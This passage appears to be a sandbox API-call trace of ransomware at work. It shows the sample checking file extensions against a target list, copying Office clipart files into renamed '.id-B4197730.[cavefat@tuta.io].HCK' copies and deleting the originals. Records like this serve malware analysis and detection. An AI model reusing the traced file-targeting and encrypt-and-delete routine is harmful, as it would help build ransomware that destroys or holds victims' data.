lpString2=".WMF") returned -1 [0179.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05930_.WMF") returned 68 [0179.533] lstrlenW (lpString=".1cd") returned 4 [0179.533] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05930_.WMF") returned 68 [0179.533] lstrlenW (lpString=".jpg") returned 4 [0179.533] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.533] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.533] lstrlenW (lpString="PH00780U.BMP") returned 12 [0179.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph00780u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.537] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=34344) returned 1 [0179.537] CloseHandle (hObject=0x300) returned 1 [0179.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph00780u.bmp")) returned 0x220 [0179.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph00780u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph00780u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.543] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.543] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph00780u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.547] GetLastError () returned 0x0 [0179.547] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x8628, lpOverlapped=0x0) returned 1 [0179.549] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x8630, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x8630, lpOverlapped=0x0) returned 1 [0179.550] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.550] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.550] SetEndOfFile (hFile=0x2fc) returned 1 [0179.553] CloseHandle (hObject=0x2fc) returned 1 [0179.553] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.553] SetEndOfFile (hFile=0x368) returned 1 [0179.554] CloseHandle (hObject=0x368) returned 1 [0179.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.555] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph00780u.bmp")) returned 1 [0179.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.BMP") returned 68 [0179.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.BMP") returned 68 [0179.556] lstrlenW (lpString=".doc") returned 4 [0179.556] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.556] lstrlenW (lpString=".docx") returned 5 [0179.556] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.556] lstrlenW (lpString=".pdf") returned 4 [0179.556] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.556] lstrlenW (lpString=".xls") returned 4 [0179.556] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.556] lstrlenW (lpString=".xlsx") returned 5 [0179.556] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.556] lstrlenW (lpString=".ppt") returned 4 [0179.556] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.BMP") returned 68 [0179.556] lstrlenW (lpString=".zip") returned 4 [0179.556] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.556] lstrlenW (lpString=".rar") returned 4 [0179.556] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.556] lstrlenW (lpString=".bz2") returned 4 [0179.556] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.556] lstrlenW (lpString=".7z") returned 3 [0179.556] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.BMP") returned 68 [0179.556] lstrlenW (lpString=".dbf") returned 4 [0179.556] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.BMP") returned 68 [0179.556] lstrlenW (lpString=".1cd") returned 4 [0179.556] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.BMP") returned 68 [0179.557] lstrlenW (lpString=".jpg") returned 4 [0179.557] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.BMP") returned 68 [0179.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.BMP") returned 68 [0179.557] lstrlenW (lpString=".doc") returned 4 [0179.557] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.557] lstrlenW (lpString=".docx") returned 5 [0179.557] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.557] lstrlenW (lpString=".pdf") returned 4 [0179.557] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.557] lstrlenW (lpString=".xls") returned 4 [0179.557] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.557] lstrlenW (lpString=".xlsx") returned 5 [0179.557] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.557] lstrlenW (lpString=".ppt") returned 4 [0179.557] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.BMP") returned 68 [0179.557] lstrlenW (lpString=".zip") returned 4 [0179.557] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.557] lstrlenW (lpString=".rar") returned 4 [0179.557] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.557] lstrlenW (lpString=".bz2") returned 4 [0179.557] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.557] lstrlenW (lpString=".7z") returned 3 [0179.557] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.BMP") returned 68 [0179.557] lstrlenW (lpString=".dbf") returned 4 [0179.557] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.BMP") returned 68 [0179.557] lstrlenW (lpString=".1cd") returned 4 [0179.557] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.BMP") returned 68 [0179.557] lstrlenW (lpString=".jpg") returned 4 [0179.557] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.557] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0179.557] lstrlenW (lpString="PH01213K.JPG") returned 12 [0179.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01213k.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.561] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=6334) returned 1 [0179.561] CloseHandle (hObject=0x370) returned 1 [0179.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01213k.jpg")) returned 0x220 [0179.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01213k.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01213k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.573] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.573] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01213k.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.578] GetLastError () returned 0x0 [0179.578] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x18be, lpOverlapped=0x0) returned 1 [0179.579] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x18c0, lpOverlapped=0x0) returned 1 [0179.580] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.580] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.580] SetEndOfFile (hFile=0x370) returned 1 [0179.582] CloseHandle (hObject=0x370) returned 1 [0179.582] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.582] SetEndOfFile (hFile=0x368) returned 1 [0179.584] CloseHandle (hObject=0x368) returned 1 [0179.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.584] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01213k.jpg")) returned 1 [0179.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.JPG") returned 68 [0179.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.JPG") returned 68 [0179.585] lstrlenW (lpString=".doc") returned 4 [0179.585] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0179.585] lstrlenW (lpString=".docx") returned 5 [0179.585] lstrcmpiW (lpString1=".docx", lpString2="K.JPG") returned -1 [0179.585] lstrlenW (lpString=".pdf") returned 4 [0179.585] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0179.585] lstrlenW (lpString=".xls") returned 4 [0179.585] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0179.585] lstrlenW (lpString=".xlsx") returned 5 [0179.585] lstrcmpiW (lpString1=".xlsx", lpString2="K.JPG") returned -1 [0179.585] lstrlenW (lpString=".ppt") returned 4 [0179.585] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0179.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.JPG") returned 68 [0179.585] lstrlenW (lpString=".zip") returned 4 [0179.585] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0179.585] lstrlenW (lpString=".rar") returned 4 [0179.585] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0179.585] lstrlenW (lpString=".bz2") returned 4 [0179.585] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0179.585] lstrlenW (lpString=".7z") returned 3 [0179.585] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0179.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.JPG") returned 68 [0179.585] lstrlenW (lpString=".dbf") returned 4 [0179.585] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0179.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.JPG") returned 68 [0179.585] lstrlenW (lpString=".1cd") returned 4 [0179.585] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0179.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.JPG") returned 68 [0179.585] lstrlenW (lpString=".jpg") returned 4 [0179.586] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0179.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.JPG") returned 68 [0179.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.JPG") returned 68 [0179.586] lstrlenW (lpString=".doc") returned 4 [0179.586] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0179.586] lstrlenW (lpString=".docx") returned 5 [0179.586] lstrcmpiW (lpString1=".docx", lpString2="K.JPG") returned -1 [0179.586] lstrlenW (lpString=".pdf") returned 4 [0179.586] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0179.586] lstrlenW (lpString=".xls") returned 4 [0179.586] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0179.586] lstrlenW (lpString=".xlsx") returned 5 [0179.586] lstrcmpiW (lpString1=".xlsx", lpString2="K.JPG") returned -1 [0179.586] lstrlenW (lpString=".ppt") returned 4 [0179.586] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0179.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.JPG") returned 68 [0179.586] lstrlenW (lpString=".zip") returned 4 [0179.586] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0179.586] lstrlenW (lpString=".rar") returned 4 [0179.586] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0179.586] lstrlenW (lpString=".bz2") returned 4 [0179.586] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0179.586] lstrlenW (lpString=".7z") returned 3 [0179.586] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0179.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.JPG") returned 68 [0179.586] lstrlenW (lpString=".dbf") returned 4 [0179.586] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0179.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.JPG") returned 68 [0179.586] lstrlenW (lpString=".1cd") returned 4 [0179.586] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0179.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.JPG") returned 68 [0179.586] lstrlenW (lpString=".jpg") returned 4 [0179.586] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0179.586] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0179.586] lstrlenW (lpString="PH01239K.JPG") returned 12 [0179.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01239k.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.587] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=5988) returned 1 [0179.587] CloseHandle (hObject=0x300) returned 1 [0179.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01239k.jpg")) returned 0x220 [0179.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01239k.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01239k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.596] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.596] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01239k.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.601] GetLastError () returned 0x0 [0179.601] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1764, lpOverlapped=0x0) returned 1 [0179.604] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1770, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1770, lpOverlapped=0x0) returned 1 [0179.604] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.604] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.605] SetEndOfFile (hFile=0x370) returned 1 [0179.607] CloseHandle (hObject=0x370) returned 1 [0179.608] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.608] SetEndOfFile (hFile=0x300) returned 1 [0179.609] CloseHandle (hObject=0x300) returned 1 [0179.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.610] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01239k.jpg")) returned 1 [0179.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.JPG") returned 68 [0179.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.JPG") returned 68 [0179.611] lstrlenW (lpString=".doc") returned 4 [0179.611] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0179.611] lstrlenW (lpString=".docx") returned 5 [0179.611] lstrcmpiW (lpString1=".docx", lpString2="K.JPG") returned -1 [0179.611] lstrlenW (lpString=".pdf") returned 4 [0179.611] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0179.611] lstrlenW (lpString=".xls") returned 4 [0179.611] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0179.611] lstrlenW (lpString=".xlsx") returned 5 [0179.611] lstrcmpiW (lpString1=".xlsx", lpString2="K.JPG") returned -1 [0179.611] lstrlenW (lpString=".ppt") returned 4 [0179.611] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0179.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.JPG") returned 68 [0179.611] lstrlenW (lpString=".zip") returned 4 [0179.611] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0179.611] lstrlenW (lpString=".rar") returned 4 [0179.611] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0179.611] lstrlenW (lpString=".bz2") returned 4 [0179.611] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0179.611] lstrlenW (lpString=".7z") returned 3 [0179.611] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0179.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.JPG") returned 68 [0179.611] lstrlenW (lpString=".dbf") returned 4 [0179.611] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0179.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.JPG") returned 68 [0179.611] lstrlenW (lpString=".1cd") returned 4 [0179.611] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0179.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.JPG") returned 68 [0179.611] lstrlenW (lpString=".jpg") returned 4 [0179.611] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0179.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.JPG") returned 68 [0179.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.JPG") returned 68 [0179.611] lstrlenW (lpString=".doc") returned 4 [0179.611] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0179.611] lstrlenW (lpString=".docx") returned 5 [0179.611] lstrcmpiW (lpString1=".docx", lpString2="K.JPG") returned -1 [0179.611] lstrlenW (lpString=".pdf") returned 4 [0179.611] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0179.611] lstrlenW (lpString=".xls") returned 4 [0179.611] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0179.611] lstrlenW (lpString=".xlsx") returned 5 [0179.611] lstrcmpiW (lpString1=".xlsx", lpString2="K.JPG") returned -1 [0179.611] lstrlenW (lpString=".ppt") returned 4 [0179.611] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0179.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.JPG") returned 68 [0179.611] lstrlenW (lpString=".zip") returned 4 [0179.611] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0179.611] lstrlenW (lpString=".rar") returned 4 [0179.611] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0179.611] lstrlenW (lpString=".bz2") returned 4 [0179.611] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0179.612] lstrlenW (lpString=".7z") returned 3 [0179.612] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0179.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.JPG") returned 68 [0179.612] lstrlenW (lpString=".dbf") returned 4 [0179.612] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0179.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.JPG") returned 68 [0179.612] lstrlenW (lpString=".1cd") returned 4 [0179.612] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0179.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.JPG") returned 68 [0179.612] lstrlenW (lpString=".jpg") returned 4 [0179.612] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") 